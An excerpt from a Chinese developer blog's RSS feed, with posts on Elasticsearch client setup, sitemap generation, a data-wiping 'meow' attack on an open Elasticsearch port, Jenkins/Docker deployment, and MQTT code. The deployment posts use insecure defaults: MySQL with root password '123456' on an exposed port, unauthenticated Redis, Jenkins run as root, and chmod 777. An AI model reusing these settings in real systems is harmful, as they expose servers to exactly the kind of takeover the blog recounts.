@Service
public class ESDealServiceImpl {
    @Autowired
    ESProperties esProperties;

    public RestHighLevelClient client;

    //ESHighLevel初始化
    @PostConstruct
    public void init() {
        final CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
        credentialsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(esProperties.getUsername(), esProperties.getPassword()));
        client = new RestHighLevelClient(
                RestClient
                .builder(HttpHost.create(esProperties.getUris()))
                .setHttpClientConfigCallback(httpClientBuilder -&amp;gt; {
                    httpClientBuilder.disableAuthCaching();
                    return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider);
            })
        );
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;未完待续。。。&lt;/h3&gt;</description>
      <category>后端技术</category>
      <pubDate>Wed, 21 Oct 2020 13:06:17 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/95.html</comments>
    </item>
    <item>
      <title>博客自动更新sitemap文件</title>
      <link>https://www.baby7blog.com/myBlog/94.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FuzZOs2yhLrXiwHKttaPZ9xXtCUe" width="800"&gt;&lt;br&gt;
&lt;h1&gt;博客自动更新sitemap文件&lt;/h1&gt;

&lt;h3&gt;流程&lt;/h3&gt;
&lt;p&gt;我的博客之前的sitemap文件都是手动更新的，太麻烦了，现在改为定时更新，思路是使用python读取博客的文章信息并生成sitemap文件，然后使用华为DevCloud定时去执行&lt;/p&gt;
&lt;p&gt;生成的文件有两个，一个是sitemap.xml，还有个是google看的是sitemap-google.xml&lt;/p&gt;
&lt;h3&gt;python代码:&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# -*- coding:utf-8 -*-
import requests
import datetime
import json
import re


# 域名
domain_name = &amp;quot;https://www.baby7blog.com&amp;quot;
# 项目路径
project_path = &amp;quot;/usr/share/nginx/blog-ui/&amp;quot;
# sitemap header格式
baidu_header = '&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;urlset&amp;gt;
'
google_header = '&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;urlset xmlns=&amp;quot;http://www.sitemaps.org/schemas/sitemap/0.9&amp;quot;&amp;gt;
'
# sitemap datetime格式
baidu_datetime = '%Y-%m-%d'
google_datetime = '%Y-%m-%dT%H:%M:%S+00:00'
# 基本链接xml格式
item_url = '''
  &amp;lt;url&amp;gt;
    &amp;lt;loc&amp;gt;%s&amp;lt;/loc&amp;gt;
    &amp;lt;lastmod&amp;gt;%s&amp;lt;/lastmod&amp;gt;
    &amp;lt;changefreq&amp;gt;daily&amp;lt;/changefreq&amp;gt;
    &amp;lt;priority&amp;gt;1.0&amp;lt;/priority&amp;gt;
  &amp;lt;/url&amp;gt;

'''


# 获取博客列表
def get_blog_list():
    first_blog_list = [domain_name]
    url = domain_name + '/blog/blog/page?current=1&amp;amp;size=99999'
    response = requests.get(url=url)
    blog_item_list = json.loads(response.text)['data']['records']
    for blog in blog_item_list:
        first_blog_list.append(domain_name + '/myBlog/' + str(blog['id']) + '.html')
    return first_blog_list


# 获取博客菜单列表
def get_blog_menu_list():
    second_blog_list = []
    blog_menu_list = [
        {&amp;quot;id&amp;quot;: &amp;quot;1100&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;前端技术&amp;quot;},
        {&amp;quot;id&amp;quot;: &amp;quot;1101&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;后端技术&amp;quot;},
        {&amp;quot;id&amp;quot;: &amp;quot;1103&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;人工智能&amp;quot;},
        {&amp;quot;id&amp;quot;: &amp;quot;1104&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;爬虫相关&amp;quot;},
        {&amp;quot;id&amp;quot;: &amp;quot;1107&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;桌面技术&amp;quot;},
        {&amp;quot;id&amp;quot;: &amp;quot;1108&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;硬件相关&amp;quot;},
        {&amp;quot;id&amp;quot;: &amp;quot;1109&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;分享&amp;quot;},
        {&amp;quot;id&amp;quot;: &amp;quot;1113&amp;quot;, &amp;quot;title&amp;quot;: &amp;quot;服务器相关&amp;quot;}
    ]
    for blog in blog_menu_list:
        second_blog_list.append(
            domain_name + '/list?id=[1,1000,' + str(blog['id']) + ']&amp;amp;type=menu&amp;amp;title=' + str(blog['title']))
    second_blog_list.append(domain_name + '/list?id=[1,1114]&amp;amp;type=menu&amp;amp;title=魔镜')
    return second_blog_list


# 获取博客标签列表
def get_blog_label_list():
    third_blog_list = []
    url = domain_name + '/blog/label/page?current=1&amp;amp;size=99999'
    response = requests.get(url=url)
    blog_label_list = json.loads(response.text)['data']['records']
    for blog in blog_label_list:
        third_blog_list.append(domain_name + '/list?id=' + str(blog['id']) + '&amp;amp;type=label&amp;amp;title=' + str(blog['label']))
    return third_blog_list


# 生成sitemap文件
def create_sitemap(url_list):
    baidu_word_text = baidu_header
    google_word_text = google_header
    for url in url_list:
        baidu_times = datetime.datetime.now().strftime(baidu_datetime)
        google_times = datetime.datetime.now().strftime(google_datetime)
        urls = re.sub(r&amp;quot;&amp;amp;&amp;quot;, &amp;quot;&amp;amp;amp;&amp;quot;, url)
        baidu_word_text += item_url % (urls, baidu_times)
        google_word_text += item_url % (urls, google_times)
    baidu_word_text += &amp;quot;&amp;lt;/urlset&amp;gt;&amp;quot;
    google_word_text += &amp;quot;&amp;lt;/urlset&amp;gt;&amp;quot;
    file = open(project_path + &amp;quot;sitemap.xml&amp;quot;, 'w', encoding='utf-8')
    file.writelines(baidu_word_text)
    file.close()
    file = open(project_path + &amp;quot;sitemap-google.xml&amp;quot;, 'w', encoding='utf-8')
    file.writelines(google_word_text)
    file.close()


if __name__ == '__main__':
    blog_list = get_blog_list()
    blog_list += get_blog_menu_list()
    blog_list += get_blog_label_list()
    create_sitemap(blog_list)
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 21 Oct 2020 12:48:19 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/94.html</comments>
    </item>
    <item>
      <title>服务器被meow攻击，Elasticsearch数据被删除</title>
      <link>https://www.baby7blog.com/myBlog/93.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FlM9du_xXjyqPOkUep16KYdOABqs" width="800"&gt;&lt;br&gt;
&lt;h1&gt;服务器被meow攻击，Elasticsearch数据被删除&lt;/h1&gt;

&lt;p&gt;记录一下&lt;/p&gt;
&lt;p&gt;Elasticsearch这几个月的测试数据被删除，通过http://***/_cat/indices?v查看索引列表发现之前的数据均被删除，多出来了很多以-meow结尾的数据&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1602597160065242118" alt="cbbee178cc358185a0b4368ed932d3c.png" /&gt;&lt;/p&gt;
&lt;p&gt;以此为关键词在google找到了有同样遭遇的博主&lt;a href="https://www.cnblogs.com/NaughtyCat/"&gt;@CoderBaby&lt;/a&gt;，他找到了数据被删除的原因：Elasticsearch开放远程9200端口并且没有安全认证，meow应该是会下载你的数据转移到自己那里，然后删除你的索引，让你去付钱获取之前的数据（跟勒索病毒一样的套路），国外一个安全小哥twitter账号有挺多后续：&lt;a href="https://twitter.com/MayhemDayOne"&gt;Bob Diachenko&lt;/a&gt;（好多被攻击的，很多数据被曝出来）&lt;/p&gt;
&lt;p&gt;详细可以去看这个博主写的这篇博客：&lt;a href="https://www.cnblogs.com/NaughtyCat/archive/2020/08/05/meow-attack-delete-unsafe-es-index.html"&gt;Meow攻击删除不安全的Elasticsearch索引，建一堆以Meow结尾的奇奇怪怪的索引&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另：这个meow通过ProtonVPN等VPN进行操作，ProtonVPN表示将调查并封禁相关账户（好像没有什么用）&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Tue, 13 Oct 2020 21:51:28 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/93.html</comments>
    </item>
    <item>
      <title>【Jenkins&amp;Docker部署系列】四、Vue的构建和部署(Nginx)</title>
      <link>https://www.baby7blog.com/myBlog/92.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fg2wCiZwVTY6QYAzaNjrTUFPI1ry" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【Jenkins&amp;amp;Docker部署系列】四、Vue的构建和部署(Nginx)&lt;/h1&gt;

&lt;p&gt;1.新建选择【构建一个自由风格的软件项目】
2.构建-执行shell命令&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;npm install
npm run build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.构建-执行shell命令&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;cd /home/test-ui
BUILD_ID=dontKillMe sh backup.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4.构建-执行shell命令&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;cd /home/jiap-ui \
 &amp;amp;&amp;amp; cp -r /var/lib/jenkins/workspace/test-ui/dist/ . \
 &amp;amp;&amp;amp; docker stop vuenginxapp || true \
 &amp;amp;&amp;amp; docker rm vuenginxapp || true \
 &amp;amp;&amp;amp; docker build  -t vuenginxapp  . \
 &amp;amp;&amp;amp; docker run -d -p 8091:80 --name vuenginxapp -v /home/jiap-ui/dist:/usr/share/nginx/html -v /home/test-ui/nginx.conf:/etc/nginx/nginx.conf vuenginxapp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里贴一下backup.sh的内容&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;# 备份
BASE_PATH=/home/test-ui
new_backup_file=dist-$(date +%Y%m%d-%H%M%S)
cd $BASE_PATH/backup
mkdir -p $new_backup_file &amp;amp;&amp;amp; cd $_
cp -r $BASE_PATH/dist/ .
rm -r $BASE_PATH/dist/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有Dockerfile内容&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Dockerfile"&gt;FROM nginx:1.8.1
EXPOSE 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后是nginx.conf的内容&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    gzip  on;
    gzip_types text/plain application/javascript text/css;

    # 虚拟主机server块
    server {
        # 端口
        listen   80;
        # 匹配请求中的host值
        server_name  localhost;

        # 监听请求路径
        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }

        #error_page  404              /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }

    }

    include /etc/nginx/conf.d/*.conf;
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Sat, 03 Oct 2020 03:11:22 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/92.html</comments>
    </item>
    <item>
      <title>【Jenkins&amp;Docker部署系列】三、SpringBoot的构建的和部署</title>
      <link>https://www.baby7blog.com/myBlog/91.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fg2wCiZwVTY6QYAzaNjrTUFPI1ry" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【Jenkins&amp;amp;Docker部署系列】三、SpringBoot的构建的和部署&lt;/h1&gt;

&lt;p&gt;1.新建选择【构建一个Maven项目】
2.Build的Root POM为&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-text"&gt;pom.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Goals and options为&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;-DskipTests=true clean package
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.Post Steps为&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;cd /home/cdss-server
BUILD_ID=dontKillMe sh docker.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里贴一下docker.sh的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;BASE_PATH=/home/test-server
# 源jar路径  即jenkins构建后存放的路径（）
SOURCE_PATH=/var/lib/jenkins/workspace
#docker 镜像/容器名字或者jar名字 这里都命名为这个
SERVER_NAME=test-server
#容器id
CID=$(docker ps | grep &amp;quot;$SERVER_NAME&amp;quot; | awk '{print $1}')
#镜像id
IID=$(docker images | grep &amp;quot;$SERVER_NAME&amp;quot; | awk '{print $3}')

echo &amp;quot;最新构建代码 $SOURCE_PATH/$SERVER_NAME/target/test-server.jar 迁移至 $BASE_PATH ....&amp;quot;
#把项目从jenkins构建后的目录移动到我们的项目目录下同时重命名下
mv -f $SOURCE_PATH/$SERVER_NAME/target/test-server.jar $BASE_PATH/test-server.jar
# 备份
datename=$(date +%Y%m%d-%H%M%S)
cp $BASE_PATH/test-server.jar $BASE_PATH/backup/test-server-$datename.jar
#修改文件的权限
chmod 777 /home/test-server/test-server.jar
echo &amp;quot;迁移完成&amp;quot;


# 构建docker镜像
        if [ -n &amp;quot;$IID&amp;quot; ]; then
                echo &amp;quot;存在$SERVER_NAME镜像，IID=$IID&amp;quot;
        else
                echo &amp;quot;不存在$SERVER_NAME镜像，开始构建镜像&amp;quot;
                        cd $BASE_PATH
                docker build -t $SERVER_NAME .
        fi
# 停止docker容器
docker stop $SERVER_NAME
# 删除docker容器
docker rm $SERVER_NAME
# --name docker-test                 容器的名字为docker-test
#   -d                                 容器后台运行
#   -p 3636:3636                       指定容器映射的端口和主机对应的端口都为3636
#   -v /home/test-server/:/home/test-server/   将主机的/home/test-server/目录挂载到容器的/home/test-server/ 目录中（不可少每次本地更新jar包重启容器即可，不用重新构建镜像
docker run --name $SERVER_NAME -v $BASE_PATH:$BASE_PATH -d -p 8090:8090  -e &amp;quot;SPRING_PROFILES_ACTIVE=test&amp;quot; $SERVER_NAME
echo &amp;quot;$SERVER_NAME容器创建完成&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意一下，  -e &amp;quot;SPRING_PROFILES_ACTIVE=test&amp;quot;是用来选择环境的
这里贴一下Dockerfile的内容&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Dockerfile"&gt;FROM openjdk:11.0.4
WORKDIR /home/cdss-server
EXPOSE 8090
ENTRYPOINT [&amp;quot;java&amp;quot;,&amp;quot;-jar&amp;quot;,&amp;quot;test-server.jar&amp;quot;,&amp;quot;-c&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Sat, 03 Oct 2020 03:10:52 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/91.html</comments>
    </item>
    <item>
      <title>【Jenkins&amp;Docker部署系列】二、数据库Docker的安装(Mysql、Redis)</title>
      <link>https://www.baby7blog.com/myBlog/90.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fg2wCiZwVTY6QYAzaNjrTUFPI1ry" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【Jenkins&amp;amp;Docker部署系列】二、数据库Docker的安装(Mysql、Redis)&lt;/h1&gt;

&lt;h3&gt;MySQL Docker&lt;/h3&gt;
&lt;p&gt;首先拉取MySQL镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;docker pull mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后查看镜像是否安装成功：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;docker images
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后直接运行：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码是123456，端口均为3306&lt;/p&gt;
&lt;h3&gt;Redis Docker&lt;/h3&gt;
&lt;p&gt;首先拉取Redis镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;docker pull redis
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后依旧查看镜像是否安装：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;docker images
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以直接运行啦：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;docker run -p 6380:6379 -d redis:latest redis-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里-p开启映射，6380:6379的6380是对外的端口，6379是容器内部端口，因为我的6379被占用，一般来说外部还是开启6379&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Sat, 03 Oct 2020 03:10:22 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/90.html</comments>
    </item>
    <item>
      <title>【Jenkins&amp;Docker构建部署系列】一、环境安装</title>
      <link>https://www.baby7blog.com/myBlog/89.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fg2wCiZwVTY6QYAzaNjrTUFPI1ry" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【Jenkins&amp;amp;Docker构建部署系列】一、环境安装&lt;/h1&gt;

&lt;h3&gt;环境&lt;/h3&gt;
&lt;p&gt;系统：CenOS6
内存：4G&lt;/p&gt;
&lt;h3&gt;JDK的安装(或交由Jenkins安装)&lt;/h3&gt;
&lt;p&gt;我这里是安装的JDK11&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;sudo yum -y install java-11-openjdk-devel
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Maven的安装(或交由Jenkins安装)&lt;/h3&gt;
&lt;p&gt;我在/home新建了maven文件夹放置maven，只需要解压，不需要配置环境变量&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shelll"&gt;cd /home/maven/
wget http://mirrors.hust.edu.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz
tar vxf apache-maven-3.5.4-bin.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Git的安装(或交由Jenkins安装)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;yum install git
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Jenkins的安装&lt;/h3&gt;
&lt;h4&gt;主体安装&lt;/h4&gt;
&lt;pre&gt;&lt;code class="language-shelll"&gt;sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key
yum install jenkins
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;配置和启动Jenkins&lt;/h4&gt;
&lt;p&gt;使用vim修改/etc/sysconfig/jenkins，配置权限为root&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;$JENKINS_USER=&amp;quot;root&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改目录权限&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;chown -R root:root /var/lib/jenkins
chown -R root:root /var/cache/jenkins
chown -R root:root /var/log/jenkins
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重新启动jenkins&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;service jenkins restart
//或者service jenkins start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用浏览器访问jenkins【http://localhost:8080】,服务器的话localhost可以替换成你的公网ip
然后会看见让你填写密码，使用cat查看密码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;cat /var/lib/jenkins/secrets/initialAdminPassword
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;填写密码后继续，选择推荐的安装方式，等待安装
安装完成后创建管理员用户，成功进入Jenkins&lt;/p&gt;
&lt;h4&gt;配置构建部署需要的插件和配置&lt;/h4&gt;
&lt;p&gt;在 系统管理-&amp;gt;插件管理-&amp;gt;可选插件中安装Maven Integration plugin插件
在 系统管理-&amp;gt;全局工具配置-&amp;gt;JDK中Name随便取一个，【JAVA_HOME】填【/usr/local/java/jdk-11.0.8】
在 系统管理-&amp;gt;全局工具配置-&amp;gt;Git中Name随便取一个，【Path to Git executable】填【/usr/bin/git】
在 系统管理-&amp;gt;全局工具配置-&amp;gt;Maven中Name随便取一个，【MAVEN_HOME】填【/home/maven/apache-maven-3.5.4】&lt;/p&gt;
&lt;h3&gt;Docker的安装&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;yum install https://get.docker.com/rpm/1.7.1/centos-6/RPMS/x86_64/docker-engine-1.7.1-1.el6.x86_64.rpm
service docker start
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Sat, 03 Oct 2020 03:09:33 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/89.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】MQTT发送与接收</title>
      <link>https://www.baby7blog.com/myBlog/88.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FqHtyULRowmVX8B8dRt4sdAa5zkd" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】MQTT发送与接收&lt;/h1&gt;

&lt;h2&gt;发送&lt;/h2&gt;
&lt;p&gt;这里用的是python进行发送，代码很简单，如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import paho.mqtt.publish as publish

# 发送mqtt消息到服务器
def send_mqtt(message):
    publish.single(settings.TOPIC, message, hostname=settings.HOSTNAME,
                   auth={'username': settings.USERNAME, 'password': settings.PASSWORD})
    print(&amp;quot;send message success&amp;quot; + message)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;接收&lt;/h2&gt;
&lt;p&gt;接收使用Java进行接收（暂时先这样写，后面有时间再完善）
InitMQTT:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.pig4cloud.pigx.statis.config.MqttConfig;
import com.pig4cloud.pigx.statis.task.MqttTask;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;

@Component
@Slf4j
@Order(2)
public class InitMQTT implements ApplicationRunner {

    @Autowired
    private MqttTask mqttTask;

    @Override
    public void run(ApplicationArguments var1) {
        log.info(&amp;quot;初始化MQTT监听&amp;quot;);
        log.info(&amp;quot;初始化环境MQTT监听&amp;quot;);
        mqttTask.runMQTT(MqttConfig.MQTT_TOPIC, MqttConfig.MQTT_USER_NAME, MqttConfig.MQTT_PASSWORD, MqttConfig.MQTT_CLIENT_ID);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MqttTask:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.pig4cloud.pigx.statis.api.entity.Sensor;
import com.pig4cloud.pigx.statis.mqtt.ReceiveMessage;
import com.pig4cloud.pigx.statis.service.SensorService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Async;
import org.springframework.stereotype.Component;

/**
 * 线程任务
 */
@Component
@Slf4j
public class MqttTask {
    @Autowired
    private ReceiveMessage receiveMessage;

    @Autowired
    private SensorService sensorService;

    @Async
    public void runMQTT(String topic,String userName,String password, String clientId) {
        try {
            log.info(&amp;quot;开始连接EMQ:{}&amp;quot;,topic);
            receiveMessage.start(topic, userName,password,clientId);
        }catch (Exception e){
            log.error(&amp;quot;连接MQTT异常：{}&amp;quot;,e.getMessage());
        }
    }

    @Async
    public void save(Sensor sensor){
    	sensorService.save(sensor);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ReceiveMessage:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.pig4cloud.pigx.statis.config.MqttConfig;
import lombok.extern.slf4j.Slf4j;
import org.eclipse.paho.client.mqttv3.MqttClient;
import org.eclipse.paho.client.mqttv3.MqttConnectOptions;
import org.eclipse.paho.client.mqttv3.MqttException;
import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
import org.springframework.stereotype.Component;

@Component
@Slf4j
public class ReceiveMessage {

    private static MqttClient sensorClient;         //环境

    public MqttClient getSensorClient(){return sensorClient;}

    private MqttClient connect(String host, String userName, String password, String clientId) throws MqttException {
        MemoryPersistence persistence = new MemoryPersistence();
        MqttConnectOptions options = new MqttConnectOptions();
        options.setCleanSession(false);
        options.setUserName(userName);
        options.setPassword(password.toCharArray());
        options.setKeepAliveInterval(20);
        options.setConnectionTimeout(10);
		//设置环境回调
		sensorClient = new MqttClient(host, clientId, persistence);
		sensorClient.setCallback(new PushSensorCallback());
		sensorClient.connect(options);
		return sensorClient;
    }

    public void receive(MqttClient client, String topic) throws MqttException {
        int[] Qos = {MqttConfig.QOS};
        String[] topics = {topic};
        client.subscribe(topics, Qos);
    }

    public void start(String topic, String userName, String password, String clientId) throws MqttException {
        MqttClient client = connect(MqttConfig.MQTT_HOST, userName, password, clientId);
        if (client != null) {
            receive(client, topic);
        }
        log.info(&amp;quot;连接EMQ:{}成功&amp;quot;, MqttConfig.MQTT_HOST);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PushSensorCallback:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.alibaba.fastjson.JSON;
import com.pig4cloud.pigx.statis.api.entity.Sensor;
import com.pig4cloud.pigx.statis.config.MqttConfig;
import com.pig4cloud.pigx.statis.service.SensorService;
import com.pig4cloud.pigx.statis.task.MqttTask;
import com.pig4cloud.pigx.statis.util.SpringUtils;
import lombok.extern.slf4j.Slf4j;
import org.eclipse.paho.client.mqttv3.IMqttDeliveryToken;
import org.eclipse.paho.client.mqttv3.MqttCallback;
import org.eclipse.paho.client.mqttv3.MqttMessage;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

import java.util.Date;
import java.util.UUID;

/**
 * 环境接收消息
 */
@Component
@Slf4j
public class PushSensorCallback implements MqttCallback {

    @Override
    public void connectionLost(Throwable throwable) {
        /**
         * 连接丢失后，一般在这里面进行重连
         */
        System.out.println(&amp;quot;环境MQTT连接断开，开始重连&amp;quot;);
       try{
           log.info(&amp;quot;重连环境MQTT&amp;quot;);
           MqttTask mqttTask = SpringUtils.getBean(&amp;quot;mqttTask&amp;quot;, MqttTask.class);
           mqttTask.runMQTT(MqttConfig.MQTT_TOPIC, MqttConfig.MQTT_USER_NAME, MqttConfig.MQTT_PASSWORD, MqttConfig.MQTT_CLIENT_ID);
       }catch (Exception e){
           log.error(&amp;quot;重连环境MQTT异常：{}&amp;quot;,e.getMessage());
           log.info(&amp;quot;继续重连环境MQTT&amp;quot;);
           connectionLost(throwable);
       }
    }

    @Override
    public void messageArrived(String topic, MqttMessage message) throws Exception {
        try {
        	String msg = new String(message.getPayload());
            log.info(&amp;quot;接收环境MQTT消息：{}&amp;quot;, msg);
			Sensor sensor = JSON.parseObject(msg, Sensor.class);
			sensor.setId(UUID.randomUUID().toString());
			sensor.setCreateTime(new Date().getTime());
			MqttTask mqttTask = SpringUtils.getBean(&amp;quot;mqttTask&amp;quot;, MqttTask.class);
			mqttTask.save(sensor);
			System.out.println(sensor.toString());
		}catch (Exception e){
            log.error(&amp;quot;接收环境MQTT消息异常:{}&amp;quot;,e.toString());
        }
    }

    @Override
    public void deliveryComplete(IMqttDeliveryToken token) {
        System.out.println(&amp;quot;deliveryComplete---------&amp;quot; + token.isComplete());
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Wed, 23 Sep 2020 04:49:23 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/88.html</comments>
    </item>
    <item>
      <title>SpringBoot使用切面实现日志记录</title>
      <link>https://www.baby7blog.com/myBlog/87.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724925271072169042" width="800"&gt;&lt;br&gt;
&lt;h1&gt;SpringBoot使用切面实现日志记录&lt;/h1&gt;

&lt;h3&gt;首先是自定义日志记录注解&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import java.lang.annotation.*;

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface MyLog {
    String value() default &amp;quot;&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;然后是实现类&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.alibaba.fastjson.JSON;
import com.example.entity.SysLog;
import com.example.service.SysLogService;
import com.example.utils.HttpContextUtils;
import com.example.utils.IPUtils;
import com.example.utils.ShiroUtils;
import org.aspectj.lang.JoinPoint;
